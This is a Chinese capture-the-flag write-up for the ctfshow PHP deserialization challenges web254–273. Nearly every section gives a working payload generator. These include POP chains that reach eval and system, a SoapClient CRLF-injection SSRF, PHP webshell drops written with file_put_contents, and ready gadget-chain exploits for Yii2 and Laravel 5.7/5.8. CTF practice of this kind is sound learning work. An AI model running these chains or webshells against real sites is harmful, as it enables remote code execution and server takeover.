# 一些基础:
private 变量会被序列化为:\x00 类名 \x00 变量名
protected 变量会被序列化为: \x00*\x00 变量名
public 变量会被序列化为:变量名
__sleep () // 在对象被序列化之前运行 *
__wakeup () // 将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过) *
如果类中同时定义了 __unserialize () 和 __wakeup () 两个魔术方法, 则只有 __unserialize () 方法会生效,wakeup () 方法会被忽略。此特性自 PHP 7.4.0 起可用。
construct () // 当对象被创建时,会触发进行初始化
__destruct () // 对象被销毁时触发__toString (): // 当一个对象被当作字符串使用时触发
__call () // 在对象上下文中调用不可访问的方法时触发__callStatic () // 在静态上下文中调用不可访问的方法时触发
__get () // 获得一个类的成员变量时调用,用于从不可访问的
属性读取数据(不可访问的属性包括:1. 属性是私有型。2. 类中不存在的成员变量)
__set () // 用于将数据写入不可访问的属性
__isset () // 在不可访问的属性上调用 isset () 或 empty () 触发
__unset () // 在不可访问的属性上使用 unset () 时触发
__toString () // 把类当作字符串使用时触发
__invoke () // 当尝试以调用函数的方式调用一个对象时
# web254
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
这个题就是简单的逻辑,首先是登陆,判断账号密码是否为 xxxxxx,是的话 isVip 则返回 true,之后检测 isVip 是否为 true,是的话就输出 flag。
因此,直接 get 传两个参数,username 和 password 都是 xxxxxx 即可出 flag。
# web255:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
逻辑挺简单的,就是从 cookie 取一个序列化后的字符串,进行反序列化,这个类就实例化成一个对象 user,然后对这个对象进行操作,进行 login,但是 login 只会返回一个真或者假,不会操作 isVip 参数,之后的 checkVip 会检测 isVip 的值,为真则输出 flag,所以,生成的序列化字符串要求是 isVip 属性得是真,所以生成的脚本如下:
1 2 3 4 5 6 7 8
| <?php class ctfShowUser{ public $isVip = true; } $a = new ctfShowUser(); echo urlencode(serialize($a));
?username=xxxxxx&password=xxxxxx
|
# web256:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
这个题在这个函数里有个问题:
1 2 3 4 5 6 7 8 9 10
| public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } }
|
这里很明显,当账号和密码相等的时候,就不会输出 flag,当不等的时候就输出,所以,需要通过反序列化将 username 或者 password 改一个,使他们不相等,之后 get 传参的时候传入修改之后的就行了。生成 cookie 的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; }
$a = new ctfShowUser(); $a->isVip = true; $a->password = "xxxxx";
echo urlencode(serialize($a));
?username=xxxxxx&password=xxxxx
|
# web257:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ private $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
|
这个题第一次遇到了魔术方法, 由于存在 backDoor 类,里面有可以进行 RCE 的点,所以,这里可以想办法触发 __construct
方法以及修改参数来创建这个类,但是,由于 info 类和 backDoor 类都有一个同名的方法,就是 getInfo,所以在脚本结束的时候,也就是释放或者销毁类的时候就会调用 __destruct
方法, 然后调用到 backDoor 类里的 getInfo 方法进行 RCE。生成 payload 的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php class ctfShowUser { private $username = 'xxxxxx'; private $password = 'xxxxxx'; private $isVip = true; private $class = 'info';
public function __construct() { $this->class = new backDoor(); } }
class info { private $user = 'xxxxxx';
public function getInfo() { return $this->user; } }
class backDoor { private $code = "system('tac flag.php');";
public function getInfo() { eval($this->code); } }
$a = new ctfShowUser(); echo urlencode(serialize($a));
|
# web258:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ public $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); }
|
这个题对比上一题,多了个正则过滤,基本上就是过滤了 o: 数字 以及 c: 数字 ,这种形式,这里可以使用加号绕过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class ctfShowUser{ public $class; public function __construct(){ $this->class = new backDoor(); } } class backDoor{ public $code = "system('tac fl*');"; }
$a = new ctfShowUser(); $b = serialize($a); $b = str_replace("O:","O:+",$b); echo urlencode($b);
|
这个构造我踩了不少坑,最严重的是 system 函数后面,没有加分号,这个是最大的问题,我一直以为没有成功,结果是因为每家分号。
# web259:
1 2 3 4 5 6 7
| <?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
$vip->getFlag();
|
这个题给的信息好少,不会做,看下 wp。
这一题主要考察了原生类的反序列化,好吧,第一次遇到完全想不到,即使学了原生类也没想到。
由于整个 index 里面没有任何类,所以后面的反序列化加上 $vip->getFlag (); 给人第一反应应该是调用了一个不存在的方法以及原生类结合,触发 __call
魔术方法,
贴一个链接,这个文章感觉很详细:【靶场】ctfshow 详解 web259 原生类反序列化
这里是使用的 Soapclient 原生类:
Soapclient 原生类主要作用是使 PHP 应用程序能够方便地调用远程的 SOAP 服务
SoapClient 原生类,类似于 curl 一样的存在,基于 XML 的协议,它使应用程序通过 HTTP 来交换信息
提示里给了这个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| flag.php $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
|
这里可以看出来,flag,php 文件会帮我们获得 flag 的值,但是,需要提前检测 ip,也就是 xff 的值。
从代码上看直接访问 flag.php 给 X_FORWARDED_FOR 赋值 127.0.0.1 三次 (127.0.0.1, 127.0.0.1, 127.0.0.1) 就可以绕过 array_pop (删除数组末尾的值), 在传入 token 等于 ctfshow 就能得到 flag
所以,构造 payload 的脚本如下:
1 2 3 4 5
| <?php $ua = "ceshi\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow"; $client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));
echo urlencode(serialize($client));
|
完成上面的生成操作得安装 php-soap 拓展,我这里用的是 phpstudy,它自带这个拓展,但是没有编译。打开 php-ini,找到 extension=php_soap.dll,把前面的分号去掉。
之后得到的 payload 发送之后直接读取 flag.txt 即可。
# web260:
1 2 3 4 5 6 7 8 9
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ echo $flag; }
|
没搞懂这个题的意义是啥,算了无脑了:get 传一个 ctfshow=ctfshow_i_love_36D 即可得到 flag。
# web261:
提示里出现了个打 redis,有点害怕了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php
highlight_file(__FILE__);
class ctfshowvip{ public $username; public $password; public $code;
public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); }
public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } }
unserialize($_GET['vip']);
|
先扔一个考点:
如果类中同时定义了 __unserialize () 和 __wakeup () 两个魔术方法, 则只有 __unserialize () 方法会生效,__wakeup () 方法会被忽略。
所以不用搭理 __wakeup
直接打木马:
因为存在 file_put_contents,所以只需要将木马写入文件里即可,然后就是 __destruct
,在脚本跑完的时候会自动执行,所以完全可以触发,之后,有一个 if ($this->code==0x36d ,需要想办法通过,因为是弱比较,所以可以利用这个 PHP 的特性,先执行下这个:
1
| echo 0x36d == "877.php";
|
发现输出结果是 1,好了,可以直接梭了:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class ctfshowvip{ public $username; public $password;
public function __construct(){ $this->username='877.php'; $this->password='<?php eval($_GET[1]);?>'; } } $a=new ctfshowvip(); echo urlencode(serialize($a));
|
之后访问 877.php 直接 RCE 即可。
# web262:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } }
$f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; }
highlight_file(__FILE__);
|
文档注释给了信息,有一个 message.php 文件,访问下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| highlight_file(__FILE__); include('flag.php');
class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } }
if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }
|
有两个方法,这里先用
直接反序列化:
1 2 3 4 5 6 7 8 9 10 11
| <?php class message{ public $from; public $msg; public $to; public $token='admin';
}
$a = new message(); echo base64_encode(serialize($a));
|
直接通过 cookie 传一个 msg 上去即可得到 flag
字符串逃逸:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = 1; $m = 1; $t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}'; $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); echo $umsg ; echo "\n"; echo base64_encode($umsg);
|
# web263:
一上来是个登录框,听说考点是 session 反序列化,先贴一个文章:session 反序列化
首先,访问 www.zip 获取源码。
index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-03 16:28:37 # @Last Modified by: h1xa # @Last Modified time: 2020-09-06 19:21:45 # @email: h1xa@ctfer.com # @link: https://ctfer.com
*/ error_reporting(0); session_start(); //超过5次禁止登陆 if(isset($_SESSION['limit'])){ $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1')); $_SESSION['limit']= 1; } ?>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"> <title>ctfshow登陆</title> <link href="css/style.css" rel="stylesheet"> </head> <body>
<div class="pc-kk-form"> <center><h1>CTFshow 登陆</h1></center><br><br> <form action="" onsubmit="return false;"> <div class="pc-kk-form-list"> <input id="u" type="text" placeholder="用户名"> </div> <div class="pc-kk-form-list"> <input id="pass" type="password" placeholder="密码"> </div> <div class="pc-kk-form-btn"> <button onclick="check();">登陆</button> </div> </form> </div>
<script type="text/javascript" src="js/jquery.min.js"></script>
<script>
function check(){ $.ajax({ url:'check.php', type: 'GET', data:{ 'u':$('#u').val(), 'pass':$('#pass').val() }, success:function(data){ alert(JSON.parse(data).msg); }, error:function(data){ alert(JSON.parse(data).msg); }
}); }
</script>
</body> </html>
|
index.php 里主要的 php 逻辑:
1 2 3 4 5 6 7 8 9 10 11 12
| error_reporting(0); session_start(); if(isset($_SESSION['limit'])){ $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1')); $_SESSION['limit']= 1; } ?>
|
check.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
error_reporting(0); require_once 'inc/inc.php'; $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin', [ 'id', 'UserName0' ],[ "AND"=>[ "UserName0[=]"=>$GET['u'], "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破 ] ]); if($data['id']){ $_SESSION['limit']= 0; echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0'])); }else{ $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1); echo json_encode(array("error","msg"=>"登陆失败")); } }
|
inc/inc.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <?php error_reporting(0); ini_set('display_errors', 0); ini_set('session.serialize_handler', 'php'); date_default_timezone_set("Asia/Shanghai"); session_start(); use \CTFSHOW\CTFSHOW; require_once 'CTFSHOW.php'; $db = new CTFSHOW([ 'database_type' => 'mysql', 'database_name' => 'web', 'server' => 'localhost', 'username' => 'root', 'password' => 'root', 'charset' => 'utf8', 'port' => 3306, 'prefix' => '', 'option' => [ PDO::ATTR_CASE => PDO::CASE_NATURAL ] ]);
function checkForm($str){ if(!isset($str)){ return true; }else{ return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str); } }
class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } }
function uuid() { $chars = md5(uniqid(mt_rand(), true)); $uuid = substr ( $chars, 0, 8 ) . '-' . substr ( $chars, 8, 4 ) . '-' . substr ( $chars, 12, 4 ) . '-' . substr ( $chars, 16, 4 ) . '-' . substr ( $chars, 20, 12 ); return $uuid ; }
|
最后一个文件没啥用,又长,就不放了。
先看 inc/inc.php,里面存在 ini_set('session.serialize_handler', 'php');
,根据 user 类,发现可以写入文件,发现在魔术方法__destruct 中会把 password 写入 log-username 文件中,而这里的 username 和 password 可控,在 index.php 中会检查是否设置了 session,并且:
1 2 3
| function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); }
|
因为 session.save_handler="" 于 user.ini 默认设置不符,会反序列化 session 中 | 后的数据所以可以直接构造 payload:
1 2 3 4 5 6 7 8 9
| <?php class User{ public $username = '1.php'; public $password = '<?php eval($_POST[a]);?>'; } echo urlencode(base64_encode("|".serialize(new User)));
|
之后访问 index.php,将 cookie 的 limit 参数改为生成的 base64 编码字符串,然后访问 check.php,最后访问 log-1.php 即可进行 rce。
# web264:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
error_reporting(0); session_start();
class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } }
$f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); $_SESSION['msg']=base64_encode($umsg); echo 'Your message has been sent'; }
highlight_file(__FILE__);
|
和 262 一样,访问 message.php,然后代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
session_start(); highlight_file(__FILE__); include('flag.php');
class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } }
if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_SESSION['msg'])); if($msg->token=='admin'){ echo $flag; } }
|
这里似乎不能修改 cookie 了,没办法了,直接打吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php class message{ public $from; public $msg; public $to; public $token='admin'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}'); echo serialize($msg); echo "<br>"; $msg_1 = str_replace('fuck', 'loveU', serialize($msg)); echo $msg_1;
|
index.php 用 get 传参 payload,之后访问 message.php,cookie 后面加一个;msg=1 即可。
# web265:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| error_reporting(0); include('flag.php'); highlight_file(__FILE__); class ctfshowAdmin{ public $token; public $password;
public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } }
$ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand());
if($ctfshow->login()){ echo $flag; }
|
php 的特性,按地址传参
例如 $a = 1 b=2,这时让 b = &a,再给 a 重新赋个值 a=3,这个时候 b 就会一直跟着 $a 变化,a是什么 b 就是什么
1 2 3 4
| $a='123'; $b=&$a; $b=1; echo $a;
|
这个就会发现,a 的值会跟着 b 一起改变。所以 payload 可以如下生成:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class ctfshowAdmin { public $token; public $password;
public function __construct() { $this->token = 'a'; $this->password =& $this->token; } } $a=new ctfshowAdmin(); echo serialize($a);
|
# web266:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| highlight_file(__FILE__);
include('flag.php'); $cs = file_get_contents('php://input');
class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); }
|
首先,$cs = file_get_contents (‘php://input’);,可以访问请求的原始数据流,可以获取到 GET 和 POST 的数据,那么,这里就可以通过 post 发一个包,数据流是一个 ctfshow 的一个序列化后的字符串,这里需要触发 __destruct
方法, 传入一个 O:7:"ctfshow":2:{}
即可输出 flag,但是具体是为啥就不大清楚了,没有修改那个为 2 的话,就无法触发 destruct。因为估计是破坏序列化后的结果,仍会执行__destruct。
# web267:
考点,yii 框架反序列化漏洞。
查看源码,在最后发现如下:
1
| <script src="/assets/b021fd51/yii.js"></script>
|
推测应该是 yii 框架,虽然还没学这个是个啥,右上角发现了 login,点进去是一个登陆页面,账号为 admin,弱密码爆破一下,得到密码为 admin,之后点右上角的 about,有一个注释:
前面加了个问好,是提示我们需要 get 传参,传一个后发现反序列化的一个代码:
1 2
| unserialize(base64_decode($_GET['code']))
|
进入 yii.js 后提示 yii 版本:
之后查找历史漏洞找到了一下 poc,这个漏洞有条件再看,现在先不看,直接用 poc 打:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'phpinfo'; $this->id = '1'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction(), 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>
|
之后通过 get 上传:
1
| ?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
|
就能打出 phpinfo,之后使用 passthru 即可获得 flag,system 没有回显,不知道为啥,不过也可以 echo 一句话木马进一个文件也行。
# web268:
相比于上一题有过滤,换一个 poc 即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php namespace yii\rest { class Action { public $checkAccess; } class IndexAction { public function __construct($func, $param) { $this->checkAccess = $func; $this->id = $param; } } } namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; } } } namespace yii\db { use yii\base\BaseObject; class BatchQueryResult { private $_dataReader; public function __construct($func, $param) { $this->_dataReader = new \yii\web\DbSession($func, $param); } } } namespace { $exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php"); echo(base64_encode(serialize($exp))); }
|
之后 exp 为:
1
| ?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19
|
然后访问 1.php 然后 post 一个 1=system (“cat /flags”); 即可
# web269:
和上一个题一模一样,没任何区别。
# web270:
268 题的 poc 依旧能用,直接用。
# web271:
Laravel 5.7 的反序列化漏洞,源码在这儿:https://github.com/laravel/laravel/tree/5.7。
不大会开发,直接上 poc 算了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php namespace Illuminate\Foundation\Testing{ use Illuminate\Auth\GenericUser; use Illuminate\Foundation\Application; class PendingCommand { protected $command; protected $parameters; public $test; protected $app; public function __construct(){ $this->command="system"; $this->parameters[]="cat /flag"; $this->test=new GenericUser(); $this->app=new Application(); } } } namespace Illuminate\Foundation{ class Application{ protected $bindings = []; public function __construct(){ $this->bindings=array( 'Illuminate\Contracts\Console\Kernel'=>array( 'concrete'=>'Illuminate\Foundation\Application' ) ); } } } namespace Illuminate\Auth{ class GenericUser { protected $attributes; public function __construct(){ $this->attributes['expectedOutput']=['hello','world']; $this->attributes['expectedQuestions']=['hello','world']; } } } namespace{ use Illuminate\Foundation\Testing\PendingCommand; echo urlencode(serialize(new PendingCommand())); }
|
# web272:
上一篇文章:laravel5.8 反序列化漏洞复现
直接上 poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| <?php
namespace PhpParser\Node\Scalar\MagicConst{ class Line {} } namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code;
public function __construct($config, $code) { $this->config = $config; $this->code = $code; } } } namespace Mockery\Loader{ class EvalLoader{} } namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver; public function __construct($queueResolver) { $this->queueResolver = $queueResolver; } } } namespace Illuminate\Foundation\Console{ class QueuedCommand { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace{ $line = new PhpParser\Node\Scalar\MagicConst\Line(); $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('tac /f*');"); $evalloader = new Mockery\Loader\EvalLoader(); $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load')); $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand); echo urlencode(serialize($pendingbroadcast)); }
|
# web273:
用这个 poc:
